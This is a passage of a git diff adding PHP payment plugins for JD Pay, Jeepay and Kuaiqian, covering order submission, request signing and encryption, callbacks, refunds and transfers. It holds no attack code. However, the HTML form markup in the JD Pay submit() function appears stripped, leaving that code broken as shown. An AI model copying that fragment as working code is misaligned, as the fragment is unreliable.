    "; + $flag=false; + } + $resData["version"]=$resultObj["version"]; + $resData["merchant"]=$resultObj["merchant"]; + $resData["result"]=$resultObj["result"]; + //echo var_dump($resData); + return $flag; + } +} diff --git a/plugins/jdpay/jdpay_plugin.php b/plugins/jdpay/jdpay_plugin.php new file mode 100644 index 0000000..048b782 --- /dev/null +++ b/plugins/jdpay/jdpay_plugin.php @@ -0,0 +1,200 @@ + 'jdpay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '京东支付', //支付插件显示名称 + 'author' => '京东支付', //支付插件作者 + 'link' => 'https://www.jdpay.com/', //支付插件作者链接 + 'types' => ['jdpay'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '商户DES密钥', + 'type' => 'input', + 'note' => '', + ], + ], + 'select' => null, + 'note' => '需要将商户私钥seller_rsa_private_key.pem上传到 /plugins/jdpay/inc/cert 文件夹内', //支付密钥填写说明 + 'bindwxmp' => false, //是否支持绑定微信公众号 + 'bindwxa' => false, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $ordername, $sitename, $submit2, $conf; + + require(PAY_ROOT."inc/common/SignUtil.php"); + require(PAY_ROOT."inc/common/TDESUtil.php"); + + if(checkmobile()){ + $oriUrl = 'https://h5pay.jd.com/jdpay/saveOrder'; + }else{ + $oriUrl = 'https://wepay.jd.com/jdpay/saveOrder'; + } + + $param=array(); + $param["version"]='V2.0'; + $param["merchant"]=$channel['appid']; + $param["tradeNum"]=TRADE_NO; + $param["tradeName"]=$ordername; + $param["tradeTime"]= date('YmdHis'); + $param["amount"]= strval($order['realmoney']*100); + $param["currency"]= 'CNY'; + $param["callbackUrl"]= $siteurl.'pay/return/'.TRADE_NO.'/'; + $param["notifyUrl"]= $conf['localurl'].'pay/notify/'.TRADE_NO.'/'; + $param["ip"]= $clientip; + $param["userId"]= ''; + $param["orderType"]= '1'; + $unSignKeyList = array("sign"); + $desKey = $channel['appkey']; + $sign = SignUtil::signWithoutToHex($param, $unSignKeyList); + //echo $sign."
    "; + $param["sign"] = $sign; + $keys = base64_decode($desKey); + + $param["tradeNum"]=TDESUtil::encrypt2HexStr($keys, $param["tradeNum"]); + if($param["tradeName"] != null && $param["tradeName"]!=""){ + $param["tradeName"]=TDESUtil::encrypt2HexStr($keys, $param["tradeName"]); + } + $param["tradeTime"]=TDESUtil::encrypt2HexStr($keys, $param["tradeTime"]); + $param["amount"]=TDESUtil::encrypt2HexStr($keys, $param["amount"]); + $param["currency"]=TDESUtil::encrypt2HexStr($keys, $param["currency"]); + $param["callbackUrl"]=TDESUtil::encrypt2HexStr($keys, $param["callbackUrl"]); + $param["notifyUrl"]=TDESUtil::encrypt2HexStr($keys, $param["notifyUrl"]); + $param["ip"]=TDESUtil::encrypt2HexStr($keys, $param["ip"]); + + if($param["userId"] != null && $param["userId"]!=""){ + $param["userId"]=TDESUtil::encrypt2HexStr($keys, $param["userId"]); + } + if($param["orderType"] != null && $param["orderType"]!=""){ + $param["orderType"]=TDESUtil::encrypt2HexStr($keys, $param["orderType"]); + } + //print_R($param);exit; + + $html_text = '
    '; + foreach($param as $k => $v) { + $html_text .= "\n"; + } + $html_text .= '
    '; + + return ['type'=>'html','data'=>$html_text]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + require(PAY_ROOT."inc/common/XMLUtil.php"); + + define("Confid_desKey",$channel['appkey']); + $xml = file_get_contents("php://input"); + $flag = XMLUtil::decryptResXml($xml, $param); + //var_dump($flag); + if($flag){ + $trade_no = daddslashes($param["tradeNum"]); + $out_trade_no = daddslashes($param["tradeNum"]); + if($param["status"]==2) { + if($out_trade_no == TRADE_NO && $param["amount"]==strval($order['realmoney']*100)){ + processNotify($order, $trade_no); + } + } + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'error']; + } + } + + //同步回调 + static public function return(){ + global $channel, $order; + + require(PAY_ROOT."inc/common/SignUtil.php"); + require(PAY_ROOT."inc/common/TDESUtil.php"); + + $desKey = $channel['appkey']; + $keys = base64_decode($desKey); + $param = array(); + if(!empty($_POST["tradeNum"])){ + $param["tradeNum"]=TDESUtil::decrypt4HexStr($keys, $_POST["tradeNum"]); + } + if(!empty($_POST["amount"])){ + $param["amount"]=TDESUtil::decrypt4HexStr($keys, $_POST["amount"]); + } + if(!empty($_POST["currency"])){ + $param["currency"]=TDESUtil::decrypt4HexStr($keys, $_POST["currency"]); + } + if(!empty($_POST["tradeTime"])){ + $param["tradeTime"]=TDESUtil::decrypt4HexStr($keys, $_POST["tradeTime"]); + } + if(!empty($_POST["status"])){ + $param["status"]=TDESUtil::decrypt4HexStr($keys, $_POST["status"]); + } + + $sign = $_POST["sign"]; + $strSourceData = SignUtil::signString($param, array()); + //echo "strSourceData=".htmlspecialchars($strSourceData)."
    "; + //$decryptBASE64Arr = base64_decode($sign); + $decryptStr = RSAUtils::decryptByPublicKey($sign); + //echo "decryptStr=".htmlspecialchars($decryptStr)."
    "; + $sha256SourceSignString = hash ( "sha256", $strSourceData); + //echo "sha256SourceSignString=".htmlspecialchars($sha256SourceSignString)."
    "; + if($decryptStr == $sha256SourceSignString){ + $trade_no = daddslashes($param["tradeNum"]); + $out_trade_no = daddslashes($param["tradeNum"]); + if($out_trade_no == TRADE_NO && $param["amount"]==$order['realmoney']*100){ + processReturn($order, $trade_no); + }else{ + return ['type'=>'error','msg'=>'订单信息校验失败']; + } + }else{ + return ['type'=>'error','msg'=>'验证签名失败!strSourceData='.htmlspecialchars($strSourceData)]; + } + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + require(PAY_ROOT."inc/common/XMLUtil.php"); + require(PAY_ROOT."inc/common/HttpUtils.php"); + + define("Confid_desKey",$channel['appkey']); + + $param["version"]="V2.0"; + $param["merchant"]=$channel['appid']; + $param["tradeNum"]=$order['refund_no']; + $param["oTradeNum"]=$order['api_trade_no']; + $param["amount"]=$order['refundmoney']*100; + $param["currency"]="CNY"; + + $reqXmlStr = XMLUtil::encryptReqXml($param); + $url = 'https://paygate.jd.com/service/refund'; + + $httputil = new HttpUtils(); + list ( $return_code, $return_content ) = $httputil->http_post_data($url, $reqXmlStr); + //echo $return_content."\n"; + + $flag=XMLUtil::decryptResXml($return_content,$resData); + //echo var_dump($resData); + + if($flag){ + if($resData['status'] == "1"){ + $result = ['code'=>0, 'trade_no'=>$resData['oTradeNum'], 'refund_fee'=>$resData['amount']]; + }else{ + $result = ['code'=>-1, 'msg'=>'['.$resData['result']['code'].']'.$resData['result']['desc']]; + } + }else{ + $result = ['code'=>-1, 'msg'=>'验签失败']; + } + + return $result; + } + +} \ No newline at end of file diff --git a/plugins/jeepay/jeepay_plugin.php b/plugins/jeepay/jeepay_plugin.php new file mode 100644 index 0000000..858a1ed --- /dev/null +++ b/plugins/jeepay/jeepay_plugin.php @@ -0,0 +1,663 @@ + 'jeepay', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => 'Jeepay聚合支付', //支付插件显示名称 + 'author' => 'Jeepay', //支付插件作者 + 'link' => 'http://www.xxpay.org/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'transtypes' => ['alipay','wxpay','bank'], //支付插件支持的转账方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appurl' => [ + 'name' => '接口地址', + 'type' => 'input', + 'note' => '必须以http://或https://开头,以/结尾', + ], + 'appmchid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appid' => [ + 'name' => '应用AppId', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '私钥AppSecret', + 'type' => 'textarea', + 'note' => '', + ], + ], + 'select_alipay' => [ + '1' => '支付宝扫码', + '2' => '支付宝PC网站', + '3' => '支付宝WAP', + '7' => '支付宝APP', + '4' => '支付宝生活号', + '5' => '聚合扫码', + '6' => 'WEB收银台', + ], + 'select_wxpay' => [ + '1' => '微信扫码', + '2' => '微信H5', + '7' => '微信APP', + '3' => '微信公众号', + '4' => '微信小程序', + '5' => '聚合扫码', + '6' => 'WEB收银台', + ], + 'select_bank' => [ + '1' => '云闪付扫码', + '5' => '聚合扫码', + '6' => 'WEB收银台', + ], + 'note' => '', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(checkwechat() && in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif(checkmobile()){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat' && in_array('3',$channel['apptype'])){ + return ['type'=>'jump','url'=>$siteurl.'pay/wxjspay/'.TRADE_NO.'/?d=1']; + }elseif($device=='mobile'){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + static private function make_sign($param, $key){ + ksort($param); + $signstr = ''; + + foreach($param as $k => $v){ + if($k != "sign" && $v!=''){ + $signstr .= $k.'='.$v.'&'; + } + } + $signstr .= 'key=' . $key; + $sign = strtoupper(md5($signstr)); + return $sign; + } + + static private function getMillisecond() + { + list($s1, $s2) = explode(' ', microtime()); + return (float)sprintf('%.0f', (floatval($s1) + floatval($s2)) * 1000); + } + + //下单通用 + static private function addOrder($wayCode, $channelExtra = null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $apiurl = $channel['appurl'].'api/pay/unifiedOrder'; + $param = [ + 'mchNo' => $channel['appmchid'], + 'appId' => $channel['appid'], + 'mchOrderNo' => TRADE_NO, + 'wayCode' => $wayCode, + 'amount' => round($order['realmoney']*100), + 'currency' => 'cny', + 'clientIp' => $clientip, + 'subject' => $ordername, + 'body' => $ordername, + 'notifyUrl' => $conf['localurl'].'pay/notify/'.TRADE_NO.'/', + 'returnUrl' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'reqTime' => self::getMillisecond(), + 'version' => '1.0', + 'signType' => 'MD5', + ]; + if($channelExtra) $param['channelExtra'] = $channelExtra; + + $param['sign'] = self::make_sign($param, $channel['appkey']); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($apiurl, $param) { + $data = get_curl($apiurl, json_encode($param), 0, 0, 0, 0, 0, ['Content-Type: application/json']); + $result = json_decode($data, true); + + if(isset($result['code']) && $result['code']==0){ + if($result['data']['errMsg']){ + throw new Exception('['.$result['data']['errCode'].']'.$result['data']['errMsg']); + }elseif($result['data']['error']){ + throw new Exception($result['data']['error']); + } + return [strtolower($result['data']['payDataType']), $result['data']['payData']]; + }else{ + throw new Exception($result['msg']?$result['msg']:'返回数据解析失败'); + } + }); + } + + //支付宝扫码支付 + static public function alipay(){ + global $channel, $device, $mdevice, $siteurl; + if(in_array('3',$channel['apptype']) && ($device=='mobile' || checkmobile())){ + $wayCode = 'ALI_WAP'; + }elseif(in_array('2',$channel['apptype']) && ($device=='pc' || !checkmobile())){ + $wayCode = 'ALI_PC'; + }elseif(in_array('1',$channel['apptype'])){ + $wayCode = 'ALI_QR'; + }elseif(in_array('7',$channel['apptype'])){ + $wayCode = 'ALI_APP'; + }elseif(in_array('4',$channel['apptype'])){ + $qrcode_url = $siteurl.'pay/alipayjs/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$qrcode_url]; + }elseif(in_array('5',$channel['apptype'])){ + $wayCode = 'QR_CASHIER'; + }elseif(in_array('6',$channel['apptype'])){ + $wayCode = 'WEB_CASHIER'; + }elseif(in_array('3',$channel['apptype'])){ + $qrcode_url = $siteurl.'pay/alipay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$qrcode_url]; + }else{ + return ['type'=>'error','msg'=>'当前支付通道没有开启的支付方式']; + } + + try{ + list($type, $payData) = self::addOrder($wayCode); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + + if($wayCode == 'QR_CASHIER' && strpos($_SERVER['HTTP_USER_AGENT'], 'AlipayClient')===false && $mdevice!='alipay'){ + $type = 'codeurl'; + } + + if($type == 'payurl'){ + return ['type'=>'jump','url'=>$payData]; + }elseif($type == 'form'){ + return ['type'=>'html','url'=>$payData]; + }else{ + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$payData]; + } + } + + //支付宝生活号支付 + static public function alipayjs(){ + global $channel; + + if (!isset($_GET['channelUserId'])) { + $apiurl = $channel['appurl'].'api/channelUserId/jump'; + $redirect_url = (is_https() ? 'https://' : 'http://').$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; + $param = [ + 'mchNo' => $channel['appmchid'], + 'appId' => $channel['appid'], + 'ifCode' => 'AUTO', + 'redirectUrl' => $redirect_url, + 'reqTime' => self::getMillisecond(), + 'version' => '1.0', + 'signType' => 'MD5', + ]; + $param['sign'] = self::make_sign($param, $channel['appkey']); + $jump_url = $apiurl.'?'.http_build_query($param); + return ['type'=>'jump','url'=>$jump_url]; + }else{ + $openId = $_GET['channelUserId']; + } + + $blocks = checkBlockUser($openId, TRADE_NO); + if($blocks) return $blocks; + + try{ + $extra = json_encode(['buyerUserId' => $openId]); + list($type, $payData) = self::addOrder('ALI_JSAPI', $extra); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝下单失败!'.$ex->getMessage()]; + } + + if($type == 'payurl'){ + return ['type'=>'jump','url'=>$payData]; + }elseif($type == 'form'){ + return ['type'=>'html','url'=>$payData]; + }else{ + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + $arr = json_decode($payData, true); + return ['type'=>'page','page'=>'alipay_jspay','data'=>['alipay_trade_no'=>$arr['alipayTradeNo'], 'redirect_url'=>$redirect_url]]; + } + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $device, $mdevice, $siteurl; + if(in_array('1',$channel['apptype'])){ + $wayCode = 'WX_NATIVE'; + }elseif(in_array('3',$channel['apptype'])){ + $qrcode_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$qrcode_url]; + }elseif(in_array('4',$channel['apptype']) || in_array('7',$channel['apptype'])){ + $qrcode_url = $siteurl.'pay/wxwappay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$qrcode_url]; + }elseif(in_array('5',$channel['apptype'])){ + $wayCode = 'QR_CASHIER'; + }elseif(in_array('6',$channel['apptype'])){ + $wayCode = 'WEB_CASHIER'; + }else{ + return ['type'=>'error','msg'=>'当前支付通道没有开启的支付方式']; + } + try{ + list($type, $payData) = self::addOrder($wayCode); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($wayCode == 'QR_CASHIER' && !checkwechat() && $mdevice!='wechat'){ + $type = 'codeurl'; + } + if($type == 'payurl'){ + return ['type'=>'jump','url'=>$payData]; + }elseif($type == 'form'){ + return ['type'=>'html','url'=>$payData]; + }elseif (checkmobile() || $device=='mobile') { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$payData]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$payData]; + } + } + + //云闪付扫码支付 + static public function bank(){ + global $channel; + if(in_array('1',$channel['apptype'])){ + $wayCode = 'YSF_NATIVE'; + }elseif(in_array('5',$channel['apptype'])){ + $wayCode = 'QR_CASHIER'; + }elseif(in_array('6',$channel['apptype'])){ + $wayCode = 'WEB_CASHIER'; + }else{ + return ['type'=>'error','msg'=>'当前支付通道没有开启的支付方式']; + } + + try{ + list($type, $payData) = self::addOrder($wayCode); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + if($type == 'payurl'){ + return ['type'=>'jump','url'=>$payData]; + }elseif($type == 'form'){ + return ['type'=>'html','url'=>$payData]; + }else{ + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$payData]; + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + //①、获取用户openid + if($channel['appwxmp']>0){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + }else{ + if (!isset($_GET['channelUserId'])) { + $apiurl = $channel['appurl'].'api/channelUserId/jump'; + $redirect_url = (is_https() ? 'https://' : 'http://').$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; + $param = [ + 'mchNo' => $channel['appmchid'], + 'appId' => $channel['appid'], + 'ifCode' => 'AUTO', + 'redirectUrl' => $redirect_url, + 'reqTime' => self::getMillisecond(), + 'version' => '1.0', + 'signType' => 'MD5', + ]; + $param['sign'] = self::make_sign($param, $channel['appkey']); + $jump_url = $apiurl.'?'.http_build_query($param); + return ['type'=>'jump','url'=>$jump_url]; + }else{ + $openid = $_GET['channelUserId']; + } + } + + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + //②、统一下单 + try{ + $extra = json_encode(['openid' => $openid]); + list($type, $jsApiParameters) = self::addOrder('WX_JSAPI', $extra); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + } + + if($_GET['d']==1){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>$jsApiParameters, 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl, $channel, $order, $ordername, $conf; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + //①、获取用户openid + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + //②、统一下单 + try{ + $extra = json_encode(['openid' => $openid]); + list($type, $jsApiParameters) = self::addOrder('WX_LITE', $extra); + }catch(Exception $ex){ + exit('{"code":-1,"msg":"微信支付下单失败!'.$ex->getMessage().'"}'); + } + + exit(json_encode(['code'=>0, 'data'=>json_decode($jsApiParameters, true)])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + if(in_array('2',$channel['apptype'])){ //H5支付 + try{ + list($type,$jump_url) = self::addOrder('WX_H5'); + return ['type'=>'jump','url'=>$jump_url]; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信H5支付下单失败!'.$ex->getMessage()]; + } + }elseif(in_array('7',$channel['apptype'])){ //APP支付 + try{ + list($type,$code_url) = self::addOrder('WX_APP'); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信H5支付下单失败!'.$ex->getMessage()]; + } + return ['type'=>'qrcode','page'=>'wxpay_h5','url'=>$code_url]; + }elseif(in_array('4',$channel['apptype']) && $channel['appwxa']>0){ //小程序支付 + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }elseif(in_array('3',$channel['apptype'])){ //公众号支付 + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + }else{ + return self::wxpay(); + } + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + if(strpos($_SERVER['CONTENT_TYPE'], 'application/json')!==false){ + $data = file_get_contents('php://input'); + $arr = json_decode($data, true); + }elseif(isset($_POST['sign'])){ + $arr = $_POST; + }elseif(isset($_GET['sign'])){ + $arr = $_GET; + }else{ + return ['type'=>'html','data'=>'no data']; + } + + $sign = self::make_sign($arr,$channel['appkey']); + + if($sign===$arr["sign"]){ + if($arr['state'] == '2'){ + $out_trade_no = $arr['mchOrderNo']; + $api_trade_no = $arr['payOrderId']; + $money = $arr['amount']; + $bill_trade_no = $arr['channelOrderNo']; + + if ($out_trade_no == TRADE_NO && $money==strval($order['realmoney']*100)) { + processNotify($order, $api_trade_no, null, $bill_trade_no); + } + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'state='.$arr['state']]; + } + }else{ + return ['type'=>'html','data'=>'fail']; + } + } + + //支付返回页面 + static public function return(){ + global $channel, $order; + + $sign = self::make_sign($_GET,$channel['appkey']); + + if($sign===$_GET["sign"]){ + if($_GET['state'] == '2'){ + $out_trade_no = daddslashes($_GET['mchOrderNo']); + $api_trade_no = daddslashes($_GET['payOrderId']); + $money = $_GET['amount']; + + if ($out_trade_no == TRADE_NO && $money==strval($order['realmoney']*100)) { + processReturn($order, $api_trade_no); + }else{ + return ['type'=>'error','msg'=>'订单信息校验失败']; + } + }else{ + return ['type'=>'page','page'=>'return']; + } + }else{ + return ['type'=>'error','msg'=>'签名验证失败']; + } + } + + //退款 + static public function refund($order){ + global $channel; + if(empty($order))exit(); + + $apiurl = $channel['appurl'].'api/refund/refundOrder'; + $param = [ + 'mchNo' => $channel['appmchid'], + 'appId' => $channel['appid'], + 'payOrderId' => $order['api_trade_no'], + 'mchRefundNo' => $order['refund_no'], + 'refundAmount' => round($order['refundmoney']*100), + 'currency' => 'cny', + 'refundReason' => '申请退款', + 'reqTime' => self::getMillisecond(), + 'version' => '1.0', + 'signType' => 'MD5', + ]; + + $param['sign'] = self::make_sign($param, $channel['appkey']); + + $data = get_curl($apiurl, json_encode($param), 0, 0, 0, 0, 0, ['Content-Type: application/json']); + + $result = json_decode($data, true); + + if (isset($result['code']) && $result['code'] == 0) { + if($result['data']['errMsg']){ + return ['code'=>-1, 'msg'=>'['.$result['data']['errCode'].']'.$result['data']['errMsg']]; + }elseif($result['data']['error']){ + return ['code'=>-1, 'msg'=>$result['data']['error']]; + } + return ['code'=>0, 'trade_no'=>$result['data']['refundOrderId'], 'refund_fee'=>$order['refundmoney']]; + } else { + return ['code'=>-1, 'msg'=>$result['msg']?$result['msg']:'返回数据解析失败']; + } + } + + //转账 + static public function transfer($channel, $bizParam){ + global $clientip, $conf; + if(empty($channel) || empty($bizParam))exit(); + $type = $bizParam['type']; + if($type == 'alipay'){ + $entryType = 'ALIPAY_CASH'; + }elseif($type == 'wxpay'){ + $entryType = 'WX_CASH'; + }elseif($type == 'bank'){ + $entryType = 'BANK_CARD'; + } + + $apiurl = $channel['appurl'].'api/transferOrder'; + $param = [ + 'mchNo' => $channel['appmchid'], + 'appId' => $channel['appid'], + 'mchOrderNo' => $bizParam['out_biz_no'], + 'ifCode' => $type, + 'entryType' => $entryType, + 'amount' => round($bizParam['money']*100), + 'currency' => 'cny', + 'accountNo' => $bizParam['payee_account'], + 'accountName' => $bizParam['payee_real_name'], + 'clientIp' => $clientip, + 'transferDesc' => $bizParam['transfer_desc'], + 'notifyUrl' => $conf['localurl'].'pay/transfernotify/'.$channel['id'].'/', + 'reqTime' => self::getMillisecond(), + 'version' => '1.0', + 'signType' => 'MD5', + ]; + + $param['sign'] = self::make_sign($param, $channel['appkey']); + + $data = get_curl($apiurl, json_encode($param), 0, 0, 0, 0, 0, ['Content-Type: application/json']); + + $result = json_decode($data, true); + + if (isset($result['code']) && $result['code'] == 0) { + if($result['data']['errMsg']){ + return ['code'=>-1, 'errcode'=>$result['data']['errCode'], 'msg'=>'['.$result['data']['errCode'].']'.$result['data']['errMsg']]; + }elseif($result['data']['error']){ + return ['code'=>-1, 'msg'=>$result['data']['error']]; + } + if($result['data']['state'] == 2){ + $status = 1; + }else{ + $status = 0; + } + return ['code'=>0, 'status'=>$status, 'orderid'=>$result['data']['transferId'], 'paydate'=>date('Y-m-d H:i:s')]; + } else { + return ['code'=>-1, 'msg'=>$result['msg']?$result['msg']:'返回数据解析失败']; + } + } + + //转账查询 + static public function transfer_query($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + $apiurl = $channel['appurl'].'api/transfer/query'; + $param = [ + 'mchNo' => $channel['appmchid'], + 'appId' => $channel['appid'], + 'transferId' => $bizParam['orderid'], + 'reqTime' => self::getMillisecond(), + 'version' => '1.0', + 'signType' => 'MD5', + ]; + + $param['sign'] = self::make_sign($param, $channel['appkey']); + + $data = get_curl($apiurl, json_encode($param), 0, 0, 0, 0, 0, ['Content-Type: application/json']); + + $result = json_decode($data, true); + + if (isset($result['code']) && $result['code'] == 0) { + if($result['data']['state'] == 2){ + $status = 1; + }elseif($result['data']['state'] == 1){ + $status = 0; + }else{ + $status = 2; + } + $paydate = date('Y-m-d H:i:s', intval($result['data']['successTime']/1000)); + if($result['data']['errCode'] && $result['data']['errMsg']){ + $errmsg = '['.$result['data']['errCode'].']'.$result['data']['errMsg']; + } + return ['code'=>0, 'status'=>$status, 'amount'=>$result['data']['amount'], 'paydate'=>$paydate, 'errmsg'=>$errmsg]; + } else { + return ['code'=>-1, 'msg'=>$result['msg']?$result['msg']:'返回数据解析失败']; + } + } + + static public function transfernotify(){ + global $channel; + + if(isset($_POST['sign'])){ + $arr = $_POST; + }elseif(isset($_GET['sign'])){ + $arr = $_GET; + }else{ + return ['type'=>'html','data'=>'no data']; + } + + $sign = self::make_sign($arr,$channel['appkey']); + + if($sign===$arr["sign"]){ + if($arr['state'] == 2){ + $status = 1; + }elseif($arr['state'] == 1){ + $status = 0; + }else{ + $status = 2; + } + if($arr['errCode'] && $arr['errMsg']){ + $errmsg = '['.$arr['errCode'].']'.$arr['errMsg']; + } + processTransfer($arr['mchOrderNo'], $status, $errmsg); + return ['type'=>'html','data'=>'success']; + }else{ + return ['type'=>'html','data'=>'fail']; + } + } + + //支付成功页面 + static public function ok(){ + return ['type'=>'page','page'=>'ok']; + } + +} \ No newline at end of file diff --git a/plugins/kuaiqian/inc/CryptoProcessor.php b/plugins/kuaiqian/inc/CryptoProcessor.php new file mode 100644 index 0000000..122eebb --- /dev/null +++ b/plugins/kuaiqian/inc/CryptoProcessor.php @@ -0,0 +1,189 @@ +merchantCert = $certs['cert']; + $this->merchantKey = $certs['pkey']; + $this->kuaiqianCert = file_get_contents($kuaiqianCertPath); + } + + + /** + * 商户端加密加签 + * @param String $originalData 加密前明文 + * @param String $salt 盐值,防止并发请求下,加解密txt文件的内容被覆写,可自定义 + * @return string 请求快钱的body + */ + public function seal(string $originalData,string $salt){ + $Body_final['signedData'] = $this->getSignedData($originalData,$salt); + $Body_final['envelopedData'] = $this->getEnvelopedData($originalData,$salt); + if(0==strlen($Body_final['signedData']) || 0==strlen($Body_final['envelopedData'])){ + throw new Exception("请求出错,signedData或envelopedData为空!"); + } + return $Body_final; + } + + /** + * 商户端解密验签 + * @param String $signedData 快钱返回的签名 + * @param String $envelopedData 快钱返回的密文 + * @param String $salt 盐值,防止并发请求下,加解密txt文件的内容被覆写,可自定义 + * @return string 解密后的明文 + */ + public function unseal(string $signedData,string $envelopedData,string $salt){ + $responseDecryptData = $this->getDecryptData($envelopedData,$salt); + $verifyResult = $this->getVerifyFlag($responseDecryptData,$signedData,$salt); + if(0==strlen($responseDecryptData)){ + throw new Exception("客户端解密失败!"); + } + if(!$verifyResult){ + throw new Exception("客户端验签失败!"); + } + return $responseDecryptData; + } + + /** + * 获取密文 快钱证书加密 + */ + public function getEnvelopedData(string $originalData,string $salt):string { + //定义一个data文件,写入明文body + $originalDataPath = $this->temp_path . 'data_' . $salt . '.txt'; + if(!file_put_contents($originalDataPath, $originalData)){ + throw new Exception("获取密文失败,写入文件失败!"); + } + //获取证书内容 + $publickey = $this->kuaiqianCert; + //定义一个endata文件,存放加密后数据 + $enDataPath = $this->temp_path . 'endata_' . $salt . '.txt'; + openssl_pkcs7_encrypt($originalDataPath,$enDataPath,$publickey,null, + PKCS7_BINARY,OPENSSL_CIPHER_AES_128_CBC); + //获取密文及字符处理 + $enData = file_get_contents($enDataPath); + $finalEnData = 